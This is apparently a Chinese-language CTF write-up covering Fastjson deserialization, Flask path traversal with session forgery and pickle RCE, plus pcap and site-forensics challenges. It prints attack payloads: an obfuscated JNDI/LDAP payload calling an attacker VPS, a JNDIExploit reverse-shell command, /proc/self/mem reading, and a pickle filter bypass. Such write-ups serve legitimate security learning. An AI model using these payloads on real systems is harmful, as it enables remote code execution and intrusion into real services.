最近打的一场线上比赛,感觉题目质量一般,甚至有点阴间,取证大赛hhh
web
Ez_gadget
题目内容:听说有一个快的json组件有危险,但是flag被我放在了root的flag.txt下诶,你能找到么?
jar包附件下载:https://share.weiyun.com/v3yXxl87
1 |
|
这里首先会对secret key进行校验,并且需要绕过正则表达式的限制,json参数最后会被fastjson反序列化。
1 | import java.util.Objects; |
这样就可以生成secret key,不过比赛时知道是打CVE-2022-25845,不过并没有想到如何绕过正则表达式的校验。
参考文章http://h0cksr.xyz/archives/709、https://www.anquanke.com/post/id/232774
这里使用的是Fastjson 1.2.62的版本,存在CVE-2022-25845这个反序列化漏洞,CVE-2022-25845要求开启AutoType,题目也确实开了,符合完成利用的条件。
Fastjson 1.2.62 exp:
1 | {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://VPS:port/Evil"}"; |
由于存在jndi,rmi,ldap,\x
的过滤,需要用unicode编码绕过。
1 | str=xxxxxxxx&input={"@type":"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter","AsText":"\u006c\u0064\u0061\u0070://VPS:port/Evil"} |
利用换行%0a绕过Pattern.compile。
1 | str=xxxxxxxx&input={"@type":"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter","AsText":"%0aldap://VPS:port/Evil"} |
最后使用工具JNDIEXPloit反弹shell。
1 | java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps -p 8080 -l 8089 |
file_session
由于没怎么了解过java安全,所以比赛时主要在做这道,但是最后这也是个0解题,交流群内各位师傅基本上都卡在如何读取secret_key从而伪造session上了,要么是不知道怎么读secret_key像我一样,要么就是读到了但是靶机识别不了伪造的session。
来说说当时的解题思路和赛后复现的情况。
首先访问站点,发现服务端存在接口/download?file=static/image/1.jpg
,可以下载服务端的静态资源。
用payload:/download?file=static/../../../etc/passwd
发现这个接口可以目录穿越,存在任意文件读取漏洞。
那么我们可以用file=/proc/self/cmdline
查看当前进程的命令
回显 python3.8/app/app.py
接下来用payload:/download?file=static/../../../app/app.py
读取源码。
1 | import base64 |
发现接口/admin_pickle_load会将session中的data字段的值base64解码后反序列化并且返回,这里应该是反序列化漏洞。
需要用到这个https://github.com/noraj/flask-session-cookie-manager,flask的session编码/解码工具,利用这个工具来伪造session,接下来我们只需要管怎么通过反序列化后的值实现RCE。
1 | ~/workspace/projects/CTF/LMCTF/web/python/flask-session-cookie-manager master |
还有个问题,伪造session需要知道SECRET_KEY。这看起来SECRET_KEY是放在config这个子类当中的,通过/proc/self/environ可以读取这个进程的环境变量,但是也没有啊,变量应该在内存中吧,那怎么读呢?
1 | SECRET_KEY = str(uuid.uuid4()) |
上面就是比赛时的思考,赛后和atao师傅交流了一下,发现可以通过/proc/self/maps
读取堆栈分布,进而通过/proc/self/mem
读取这个进程的内存分布,从而获取uuid。但是神奇的是远程环境读到secret_key后,却没有办法识别到伪造的session,不知道为什么,但是在本地却可以。看到官方wp后发现,识别不到伪造的session原因是服务端时间与我们本地环境的时间不同,导致用正常时间伪造的session在服务端是无法解析的,这里需要自己写脚本伪造session。
从堆栈上获取secret_key的脚本
1 | #!/usr/bin/env python |
对默认生成的session识别后,发现系统时间已经是2030年,因此还需要利用/usr/local/lib/faketime/libfaketime.so.1
这个动态链接库来劫持程序获取系统时间时的返回值。
1 | import hmac |
这样伪造的session就能被成功识别,接口返回500。
那么当我们可以用pickle反序列化后就可以直接RCE,但是需要注意的是题目还魔改了pickle.py这个导入的库文件,过滤了一些字符。通过构造bytes.__new__(bytes,map.__new__(map,eval,['print(11111)']))
可以绕过。
反弹shell脚本
1 | import requests |
misc
domainhacker
公司安全部门,在流量设备中发现了疑似黑客入侵的痕迹,用户似乎获取了机器的hash,你能通过分析流量,找到机器的hash吗?flag格式:flag{hash_of_machine}
参考文章https://ylcao.top/2022/07/09/2022%E8%93%9D%E5%B8%BD%E6%9D%AFwp/#domainhacker复现
流量包分析的一道题目,先用wireshark导出http对象
导出了一些php文件和一个压缩包,显然我们要找压缩包密码。
在1.php里面发现是一段php代码和一些参数,格式化一下看看这部分php代码在做什么。
1 |
|
发现是对传入的3个参数的base64截取前2个字符后进行拼接,那么拼接后解码就可以得到执行的命令了,在1(16)中可以找到压缩包相关命令。
压缩包密码为SecretsPassw0rds
解压得到txt文件内容如下
1 | .#####. mimikatz 2.2.0 (x64) #19041 Jul 29 2021 11:16:51 |
这是mimikatz工具抓下来的windows帐号和密码,flag值需要尝试,发现是NTLM的值。
domainhacker2
可以通过一样的方法找到压缩包的密码FakePassword123$
。
解压后得到3个文件,可以使用Impacket中的secretsdump可以提取ntds.dit中的hash
https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
这里很坑的是需要使用history模式,要加个参数,否则看不到,比赛时就是因为这个没做出来。
1 | ~/workspace/projects/CTF/LMCTF/misc/pcapng |
从local\Administrator_history0:500:aad3b435b51404eeaad3b435b51404ee:07ab403ab740c1540c378b0f5aaa4087:::
得到flag{07ab403ab740c1540c378b0f5aaa4087}
网站取证
据了解,某网上商城系一团伙日常资金往来用,从2022年4月1日起使用虚拟币GG币进行交易,现已获得该网站的源代码以及部分数据库备份文件,请您对以下问题进行分析解答。
1.请从网站源码中找出木马文件,并提交木马连接的密码。
lanmaobei666
在/runtime/temp文件夹的第一个文件里面可以看到木马的post变量,即为木马连接的密码
2.请提交数据库连接的明文密码。
KBLT123
在encrypt/encrypt.php的my_encrypt()函数当中可见
1 |
|
3.请提交数据库金额加密混淆使用的盐值。
jyzg123456
在controller的channelorder.php里面可以看到encrypt函数
1 | function encrypt($data, $key = 'jyzg123456') |
4.请计算张宝在北京时间2022-04-02 00:00:00-2022-04-18 23:59:59累计转账给王子豪多少RMB?(需要注意不同币种之间的换算)
15758353.76
张宝的id为3,王子豪的id为5
channelorder.php对money进行了加密处理
将sql文件里的数据筛选出来即可$param['money'] = $this->encrypt($param['money']);
1 | money = [619677, |